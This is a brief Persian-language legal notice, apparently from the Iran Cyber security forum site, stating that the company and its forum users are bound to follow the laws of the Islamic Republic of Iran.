شرکت و انجمن امنیتی ایران سایبر با توجه به حضور مجاز و رسمی در محافل امنیتی و شرکت های ارزیابی امنیت ملزم به رعایت قوانین بوده و کاربران انجمن نیز ملزم به رعایت قوانین جمهوری اسلامی ایران میباشد.

×
×
  • اضافه کردن...